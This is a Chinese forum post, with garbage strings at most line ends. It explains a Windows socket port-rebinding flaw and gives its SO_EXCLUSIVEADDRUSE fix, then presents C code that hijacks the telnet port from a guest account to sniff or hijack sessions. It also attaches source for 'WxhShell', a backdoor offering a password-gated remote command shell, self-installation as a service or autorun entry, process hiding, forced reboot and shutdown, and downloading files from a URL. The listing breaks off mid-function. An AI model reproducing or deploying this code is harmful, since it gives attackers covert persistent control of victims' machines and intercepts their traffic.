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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^H~h\,;zQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !\-{D$E?H  
+9M^7/}H  
  saddr.sin_family = AF_INET; :0Bq^G"ge  
\HqNAE2T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t)~"4]{*}D  
SEo'(-5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tI`Q/a5@  
$mu^G t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *1 uKr9  
o*-)Tq8GHE  
  这意味着什么?意味着可以进行如下的攻击: vmU@^2JSJ  
Z?6%;n^ 54  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @3) (BpFe  
dzARI`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J1,9kCO  
p, h9D_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E%yNa]\P  
o*b] p-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2y//'3[  
SON-Z"v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +NeOSQSj  
\.0^n3y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VU#`oJ:{  
X.OD`.!>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q8FTi^=Kb  
? E1<!~  
  #include 7S-ys+  
  #include y=fx%~<> 8  
  #include G/k2Pe{SL  
  #include    N nRD|A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nkjza:f{  
  int main() *T- <|zQ  
  { {o)Lc6T8s  
  WORD wVersionRequested; @'w"R/,n-@  
  DWORD ret; :G [|CPm-  
  WSADATA wsaData; c?tBi9'Y]  
  BOOL val; p#&h=,W}  
  SOCKADDR_IN saddr; )mg:_K  
  SOCKADDR_IN scaddr; 6 hw=  
  int err; |ax3sAg  
  SOCKET s; Sxnpq Vbk  
  SOCKET sc; u__9Z:+  
  int caddsize; [glLre^  
  HANDLE mt; 4-? C>  
  DWORD tid;   zkt+7,vI  
  wVersionRequested = MAKEWORD( 2, 2 ); <->{  
  err = WSAStartup( wVersionRequested, &wsaData ); o15-ZzE-  
  if ( err != 0 ) { KxI&G%z  
  printf("error!WSAStartup failed!\n"); ; ^*}#X d  
  return -1; y0{u<"t%w  
  } &T+atL`N  
  saddr.sin_family = AF_INET; %D UH@j  
   F5LuSy+v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l>2E (Y|  
6o!!=}'E[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O_2pIbh  
  saddr.sin_port = htons(23); BHIRH mM<Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lco~,OE  
  { ~d o9;8v  
  printf("error!socket failed!\n"); TCN8a/@z  
  return -1; SAH-p*.  
  } c-x,fS"&W  
  val = TRUE; 61,;Uc\T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?274uAO'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tnV/xk#!  
  { QHDXW1+|^  
  printf("error!setsockopt failed!\n"); ,MdV;j ~"'  
  return -1; m.JBOq=  
  } LSm$dK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &D >G8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Nu0C;B66  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [8P:?nDDL  
|+"<wEKI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nii A7Ux  
  { ZEXc%-M  
  ret=GetLastError(); -0d0t!  
  printf("error!bind failed!\n"); _- [''(E  
  return -1; o906/5M  
  } qPWP&k  
  listen(s,2); }HL]yDO  
  while(1) q VjdOY:z  
  { e2L0VXbb  
  caddsize = sizeof(scaddr); OtY`@\hy  
  //接受连接请求 aFc1|.Nm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &X`C%h  
  if(sc!=INVALID_SOCKET) a_[Eh fE  
  { GSY(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QEm|])V  
  if(mt==NULL) <m!h&_eg  
  { tf =6\p  
  printf("Thread Creat Failed!\n"); T!-\@PB !  
  break; y>R=`A1b  
  } Vmc5IPd{\  
  } hv)x=e<  
  CloseHandle(mt); Av @b!iw+  
  } Y_Eb'*PY  
  closesocket(s); &qLf@1AD  
  WSACleanup(); 3T31kQv{  
  return 0;  N O2XA\  
  }   w4_ U0 n3  
  DWORD WINAPI ClientThread(LPVOID lpParam) [NQOrcAQ  
  { $[9%QQk5<L  
  SOCKET ss = (SOCKET)lpParam; PUz*!9HC  
  SOCKET sc; ZufR {^W  
  unsigned char buf[4096]; yID 164&r  
  SOCKADDR_IN saddr; 1da@3xaF  
  long num; jAGTD I  
  DWORD val; 'UkxS b  
  DWORD ret; "C?#SO B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BmBj7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "MxnFeLM#  
  saddr.sin_family = AF_INET; Okgv!Nt8)A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kHk px52  
  saddr.sin_port = htons(23);  ^le<}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y6@0O%TDN  
  { Q0$8j-1I  
  printf("error!socket failed!\n"); T`/AY?#  
  return -1; >@BnV{ d  
  } ,V'o4]H  
  val = 100; rjl`&POqc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 32l3vv.j  
  { ImCe K  
  ret = GetLastError(); v.\*./-i  
  return -1; -Bt k 3  
  } +[Dj5~V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +_7*iJtD5  
  { -1Jg?cPz k  
  ret = GetLastError(); +O'3|M  
  return -1; gwNq x"  
  } TH)"wNa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hrmut*<|  
  { (w&F/ynO:  
  printf("error!socket connect failed!\n"); < |e,05aM  
  closesocket(sc); p$SX  
  closesocket(ss); r)qnl9?;`]  
  return -1; JgG$?n\  
  } agkA}O  
  while(1) )js)2L~  
  { #XK2Ien)Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hS_6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?=>+LqP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ytgcs( /$  
  num = recv(ss,buf,4096,0); S(QpM.9*  
  if(num>0) dCb`xR}  
  send(sc,buf,num,0); | H!28h  
  else if(num==0) %el"BSB  
  break; YpQ7)_s ?  
  num = recv(sc,buf,4096,0); U2$d%8G  
  if(num>0) |\w=u6jX  
  send(ss,buf,num,0); ^*S ,xP  
  else if(num==0) M=.:,wRm  
  break; QpZ:gM_  
  } =nz}XH%=  
  closesocket(ss); >d~WH@o`G  
  closesocket(sc); g"Ljm7  
  return 0 ; + r!1<AAE$  
  } *?o{9v5}(  
oV)~@0B&0  
avjpA ?Vz  
========================================================== aGK?x1_  
@*>@AFnf\Z  
下边附上一个代码,,WXhSHELL 4f@o mAM  
^<;V]cY`  
========================================================== ,_|]Ufr!a  
U0=]  
#include "stdafx.h" U93}-){m  
ygOd69  
#include <stdio.h> Gn&-X]Rrl  
#include <string.h> uC.K<jD%  
#include <windows.h> -g)9R%>-  
#include <winsock2.h> jQk*8   
#include <winsvc.h> pqUCqo!m\  
#include <urlmon.h> "~E[)^ANxD  
,PlO8;5]  
#pragma comment (lib, "Ws2_32.lib") syk!7zfK  
#pragma comment (lib, "urlmon.lib") `L:CA5sBud  
)X04K~6lY  
#define MAX_USER   100 // 最大客户端连接数 :z}MIuf  
#define BUF_SOCK   200 // sock buffer ag$Vgl  
#define KEY_BUFF   255 // 输入 buffer .b\$MZ"(  
0MV>"aV  
#define REBOOT     0   // 重启 (]_1  
#define SHUTDOWN   1   // 关机 6cpw~  
Z -,J)gW  
#define DEF_PORT   5000 // 监听端口 KiRUvWqa  
HfcL%b%G8  
#define REG_LEN     16   // 注册表键长度 _C.BFE _p  
#define SVC_LEN     80   // NT服务名长度 ^Y<|F!0  
qe#P?[  
// 从dll定义API u7bLZU 0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [FK<96.nt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~n[d4qV&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CQZgMY1{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mmj;'iYOwF  
&GNxo$CG  
// wxhshell配置信息 v4?x.I  
struct WSCFG { } $uxJB  
  int ws_port;         // 监听端口 Mb"J@5P[4  
  char ws_passstr[REG_LEN]; // 口令 Wf>zDW^"R  
  int ws_autoins;       // 安装标记, 1=yes 0=no : k7uGD  
  char ws_regname[REG_LEN]; // 注册表键名 6`!Fv-  
  char ws_svcname[REG_LEN]; // 服务名 ^BUYjq%(`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c;{Q,"9U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \2nUa ;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q F-LU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UUF ;p2{f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3VI4X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q s.pGi0W  
[(o7$i29|%  
}; zR `EU,  
~)qtply  
// default Wxhshell configuration 7~&/_3  
struct WSCFG wscfg={DEF_PORT, PN0VQ/..  
    "xuhuanlingzhe", 1J6,]M  
    1, .P.z B}0=  
    "Wxhshell", tyfTU5"x  
    "Wxhshell", ygeDcnvR]  
            "WxhShell Service", U`,0]"Qk  
    "Wrsky Windows CmdShell Service", FW) x:2BG  
    "Please Input Your Password: ", bfA=3S"0  
  1, _FXZm50\g{  
  "http://www.wrsky.com/wxhshell.exe", 3k|oK'l  
  "Wxhshell.exe" iS&l8@2a  
    }; )>b.;  
OS4q5;1#  
// 消息定义模块 # S}Z8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [~kdPk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48jVRo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N-jTc?mT~&  
char *msg_ws_ext="\n\rExit."; "8 ~:[G#  
char *msg_ws_end="\n\rQuit."; Glxuz0]  
char *msg_ws_boot="\n\rReboot..."; =1O<E  
char *msg_ws_poff="\n\rShutdown..."; O$D'.t  
char *msg_ws_down="\n\rSave to "; iv?gZg   
k=4N(i/s  
char *msg_ws_err="\n\rErr!"; Rop'e8Q  
char *msg_ws_ok="\n\rOK!"; ZIPl7tTw  
rSxxH]-  
char ExeFile[MAX_PATH]; {g2@6ct  
int nUser = 0; ^ "i l}8`  
HANDLE handles[MAX_USER]; @o#!EfZyE  
int OsIsNt; _9tK[ /h  
RletL)  
SERVICE_STATUS       serviceStatus; QYa(N[~a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '; =f  
&ZghMq~  
// 函数声明 `6 /$M!4$  
int Install(void); XO-Prs  
int Uninstall(void); 0VckocF  
int DownloadFile(char *sURL, SOCKET wsh); pWPIJ>2G:  
int Boot(int flag); .Q@S #d  
void HideProc(void); 6An9S%:_  
int GetOsVer(void); `Ja?fI'H-  
int Wxhshell(SOCKET wsl); !>BZ6gn5  
void TalkWithClient(void *cs); p/JL9@:'  
int CmdShell(SOCKET sock); =8r 0 (c  
int StartFromService(void);  %ObLWH'  
int StartWxhshell(LPSTR lpCmdLine); S!Omy:=;i  
]?Fi$3Lm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K+Z+wA?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )uK{uYQl  
3uZJ.Fb  
// 数据结构和表定义 o@#Y8M  
SERVICE_TABLE_ENTRY DispatchTable[] = ?."&MZ  
{ $U$V?x uE  
{wscfg.ws_svcname, NTServiceMain}, |+35y_i6  
{NULL, NULL} 7SlsnhpW  
}; +Vo}F  
"z0zpHXek  
// 自我安装 OkCQ?]  
int Install(void) Ma'_e=+A  
{ c9kzOQ2n  
  char svExeFile[MAX_PATH]; /n5F(5<  
  HKEY key; %q!8={J8  
  strcpy(svExeFile,ExeFile); T[,/5J  
U~} U\_  
// 如果是win9x系统,修改注册表设为自启动 HDda@Jy  
if(!OsIsNt) { {fha`i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p8kr/uMP ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R)M_|ca  
  RegCloseKey(key); B3H|+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /;7y{(o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |J+(:{ }~  
  RegCloseKey(key); !/^-;o7  
  return 0; Sr&515  
    } ,g7.rEA  
  } a-"k/P#  
} :Xn7Ha[f  
else { 6`0mta Q  
3' ~gvi I  
// 如果是NT以上系统,安装为系统服务 c&X{dJWD   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yC3yij<oR  
if (schSCManager!=0) `+zWu 55;  
{ K,6b3kk  
  SC_HANDLE schService = CreateService y kW [B  
  ( Y 2Q=rj  
  schSCManager, *?z0$Kz<,[  
  wscfg.ws_svcname, _(d.!qGz  
  wscfg.ws_svcdisp,  QV h4  
  SERVICE_ALL_ACCESS, !eAo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (x"BR  
  SERVICE_AUTO_START, dWX stb:[  
  SERVICE_ERROR_NORMAL, cXR1grz  
  svExeFile, (]RM6i7  
  NULL, Q.9qImgN  
  NULL, 5GA\xM-  
  NULL, LAP6U.m'd  
  NULL, nI/kw%<  
  NULL 3#vinz  
  ); -*~CV:2iq-  
  if (schService!=0) OdQT2PA_  
  { .MVYB\6Q0  
  CloseServiceHandle(schService); 4EXB;[ ]  
  CloseServiceHandle(schSCManager); rUlS'L;$"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KJ?y@Q  
  strcat(svExeFile,wscfg.ws_svcname); mAeuw7Ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .fi/I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4<lQwV6=  
  RegCloseKey(key); B aO1/zk  
  return 0; Tzt,/e  
    } zOHypazOTq  
  } kWlAY%   
  CloseServiceHandle(schSCManager); /Y&02L%\3s  
} p1D[YeF4  
}  cO\-  
'`|A I:L  
return 1; FVB;\'/  
} \eGKkSy  
0l=+$& D  
// 自我卸载 P_gYz!  
int Uninstall(void) ?!=iu!J  
{ }C  /]  
  HKEY key; x lsqj`=  
4g}FB+[u  
if(!OsIsNt) { ZkP {[^6d\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R*zO dxY  
  RegDeleteValue(key,wscfg.ws_regname); !j1[$% =#  
  RegCloseKey(key); ygS L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Um)>2|rp}  
  RegDeleteValue(key,wscfg.ws_regname); `e]6#iJ^  
  RegCloseKey(key); C{Asp  
  return 0; MlJVeod  
  } (>=7ng^  
} YB)3X[R+0  
} E15vq6DKF  
else { iB1i/l  
RGIoI ]_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BPqGJ7@  
if (schSCManager!=0) jJ3zF3Id  
{ 0@5E|<A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6yu]GK} es  
  if (schService!=0) `_5GG3@Ff  
  { Z,c,G2D  
  if(DeleteService(schService)!=0) { Eq^uKi  
  CloseServiceHandle(schService); v8/6wy?  
  CloseServiceHandle(schSCManager); TwvAj#j  
  return 0; a=xT(G0Re  
  } Sd))vS^g  
  CloseServiceHandle(schService); w?mEuXc  
  } F52B~@ .  
  CloseServiceHandle(schSCManager); _Mc>W0'5@  
} "BVdPSDBk  
} lFUWV)J\  
h(B,d,q"  
return 1; TFR( 4W  
} 9Bdt(}0A  
E2AW7f(/  
// 从指定url下载文件 Nt:8ogk/  
int DownloadFile(char *sURL, SOCKET wsh) ukuo:P<a  
{ Jqr)V2Y  
  HRESULT hr; _M,lQ~  
char seps[]= "/"; ciMM^ZRIb  
char *token; D H^T x  
char *file; "R9Yb,tIN  
char myURL[MAX_PATH]; D);'pKl  
char myFILE[MAX_PATH]; [9mL $;M W  
@!Hr|k|  
strcpy(myURL,sURL); }:z5t,u6  
  token=strtok(myURL,seps); h:/1X' 3d  
  while(token!=NULL) i2Jq|9,g  
  { !&] z*t  
    file=token; la$%H<,7  
  token=strtok(NULL,seps); MS<SAD>w  
  } =l942p  
d"~(T:=r  
GetCurrentDirectory(MAX_PATH,myFILE); rrs"N3!aT  
strcat(myFILE, "\\"); 99OD= pxQ  
strcat(myFILE, file); 7Bz*r0 9S  
  send(wsh,myFILE,strlen(myFILE),0); ~VTs:h  
send(wsh,"...",3,0); X6RQqen3:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uh|>Skic4  
  if(hr==S_OK) GZ }/leR  
return 0; BRbV7&  
else 6'OO-o  
return 1; XidxNPz0^  
{hqAnZ@]vr  
} :Gh~fm3}  
!:fv>FEI9  
// 系统电源模块 NvtM3  
int Boot(int flag) cs_}&!c{  
{ 2L\3S ukj  
  HANDLE hToken; 80ZnM%/}  
  TOKEN_PRIVILEGES tkp; , fb( WY  
N dR ]  
  if(OsIsNt) { r$nkU4N'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x:5dC I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ?RD *1  
    tkp.PrivilegeCount = 1; tSv0" L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +=c am/A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); We`'>'W0  
if(flag==REBOOT) { ^[-> )  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y?Vz(udD  
  return 0; o;`!kIQ  
} QLb MPS  
else { @qK<T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ilEi")b=  
  return 0; ARL  
} }uX|5&=~f  
  } kI*UkM-  
  else { $V8vrT#:  
if(flag==REBOOT) { -!*p*3|03|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q e1oT)  
  return 0; #Ws 53mT  
} 6E9N(kFYs  
else { 5M?mYNQR/H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A['uD<4b  
  return 0; y7zkAXhJ  
} 6 ,N6jaW  
} @?2n]n6  
g0#q"v55  
return 1; )&Z>@S^  
} z] @W[MHY  
G%w_CMfH  
// win9x进程隐藏模块 izt^Wi|  
void HideProc(void) 9NIy#  
{ & 5 <**  
rFXSO=P?Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2mJ:c  
  if ( hKernel != NULL ) c%<2z  
  { IUhp;iH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (iDBhC;/B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G8NRj9k?  
    FreeLibrary(hKernel); zg]Drm  
  } Hbr^vYs5  
]G1R0 Q  
return; mC(u2  
} hhq$g{+[  
kMe@+ysL  
// 获取操作系统版本 QTh0 SL  
int GetOsVer(void) ;?im(9h"v!  
{ aR(E7mXQ  
  OSVERSIONINFO winfo; &d 3HB=x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &|z544  
  GetVersionEx(&winfo); ag]*DsBt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \8_V(lU   
  return 1; &,uC9$  
  else J'7 y   
  return 0; (Nt[v;BnO  
} 7t4v~'h;5e  
!V( `ZH  
// 客户端句柄模块 u[`v&e  
int Wxhshell(SOCKET wsl) lS{4dvr?w  
{ Qg>L,ZO  
  SOCKET wsh; <lx^aakk!  
  struct sockaddr_in client; &|,s{?z2  
  DWORD myID; Hs<n^fyf  
O|(o8 VS  
  while(nUser<MAX_USER) ~j}J<4&OvC  
{ Rkr^Z?/GH  
  int nSize=sizeof(client); )_pt*xo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iQj2UTds3  
  if(wsh==INVALID_SOCKET) return 1; *K!7R2Rat  
%QE5<2k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qnTi_c  
if(handles[nUser]==0) w&+\Wo;([b  
  closesocket(wsh); JB'qiuhab  
else ^(m0M$Wk*  
  nUser++; 0Ts!(b]B  
  } !SN WB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \SzGzCJ  
m\} =4b  
  return 0; P[1m0!,B  
} $OT}`Te~  
7n [12:  
// 关闭 socket G#g{3}dcK  
void CloseIt(SOCKET wsh) ${CYDD"mdy  
{ |#:=\gugh  
closesocket(wsh); e7hO;=?b'  
nUser--; cC' ^T6  
ExitThread(0); _p$"NNFN  
} "?`JA7~g  
Wu]/(F  
// 客户端请求句柄 O '@m4@L   
void TalkWithClient(void *cs) d{iL?>'?^  
{ ^$8Vh =D  
)fy <P;g  
  SOCKET wsh=(SOCKET)cs;  =05iW  
  char pwd[SVC_LEN]; w64.R4e  
  char cmd[KEY_BUFF]; A/ hpY a  
char chr[1]; S]5VEn;pV  
int i,j; N!.kq4$.  
rSzQUn<  
  while (nUser < MAX_USER) { jaL$LJV  
X9z:D>   
if(wscfg.ws_passstr) { %e(9-M4*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P7cge  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % i %ew4  
  //ZeroMemory(pwd,KEY_BUFF); %f>X-*}NI-  
      i=0; 2z[r@}3  
  while(i<SVC_LEN) { n=;';(wR[  
`X3Xz!  
  // 设置超时 rO5u~"v]  
  fd_set FdRead; 1mY+0  
  struct timeval TimeOut; mQmBf|Rl  
  FD_ZERO(&FdRead);  W{L  
  FD_SET(wsh,&FdRead); ;`;G/1]#9  
  TimeOut.tv_sec=8; Z={D0`  
  TimeOut.tv_usec=0; HDa~7wE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l@~1CMyN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r94j+$7  
`WP@ZSC6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >a?OXqYP  
  pwd=chr[0]; D$Kz9GVZq  
  if(chr[0]==0xd || chr[0]==0xa) { y*y`t6D  
  pwd=0; x:=0.l#  
  break; AlA h S<  
  } xI-=t ib  
  i++; t5I^1u6  
    } ]u\  `  
DxE^#=7iH;  
  // 如果是非法用户,关闭 socket 2Px$0&VN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l6',  
} gcQ.  YP9  
$'WapxF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r'Hy}HWuF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4jDs0Hn"  
uWJ#+XK.  
while(1) { N8Rm})  
L*kh?PS;  
  ZeroMemory(cmd,KEY_BUFF); 1}i&HIr!b  
; ,Of\Efc|  
      // 自动支持客户端 telnet标准   5HWwl.D  
  j=0; fF8a 1XV  
  while(j<KEY_BUFF) { ?7fQ1/emhO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <O <'1uO,  
  cmd[j]=chr[0]; 6ctHL<^  
  if(chr[0]==0xa || chr[0]==0xd) { a7XXhsZ  
  cmd[j]=0; Xtu:  
  break; _)HD4,`  
  } B"pFJ"XR  
  j++; Bf D,z  
    } "R@$Wu53|  
oG4w8+N  
  // 下载文件 S3j]{pZ(z  
  if(strstr(cmd,"http://")) { v9j4|w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yio>ft&g]  
  if(DownloadFile(cmd,wsh)) x.0k%H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>x {jZkFL  
  else m;;0 Cl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4jC4X*  
  } lWu9/r 1  
  else { TnbGO;  
f:x9Y{Y  
    switch(cmd[0]) { <3i4NXnL2  
  I_"Hgx<  
  // 帮助 -13P 2<i+  
  case '?': { WH pUjyBP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PK:o}IWn~x  
    break; 1q}u?7nnSG  
  } 3{2^G@j  
  // 安装 @%I_&!d  
  case 'i': { >?\v@   
    if(Install()) zIAu3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EI?d(K  
    else X/- W8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fD3jwPL  
    break; ,ZzB#\  
    } vp )}/&/  
  // 卸载 Y|GJp h  
  case 'r': { |Ak =-.  
    if(Uninstall()) 4~m.#6MT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu.*4zs  
    else J1gEjd   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2rHvF=  
    break; =sUl`L+w,L  
    } /ZIJ<#o[  
  // 显示 wxhshell 所在路径 c&| '3i+  
  case 'p': { . BYKdxa  
    char svExeFile[MAX_PATH]; d'Ik@D]I  
    strcpy(svExeFile,"\n\r"); Xh7~MU~X  
      strcat(svExeFile,ExeFile); t+W=2w&  
        send(wsh,svExeFile,strlen(svExeFile),0); TQOg~lH  
    break; S:2u3th7  
    } `uM0,Z  
  // 重启 6)uPM"cO  
  case 'b': { KG4#BY&^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g~ppPAH  
    if(Boot(REBOOT)) n,Yr!W:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oUKBb&&O  
    else { ^hl]s?"3  
    closesocket(wsh); g|v1qfK  
    ExitThread(0); !TV_dKa  
    } ^.Ih,@N6  
    break; sT[av  
    } E&s'uE=w+  
  // 关机 |5<& r]xN  
  case 'd': { =x='<{jtgW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y'0dl "Dy\  
    if(Boot(SHUTDOWN)) !ho5VA t  
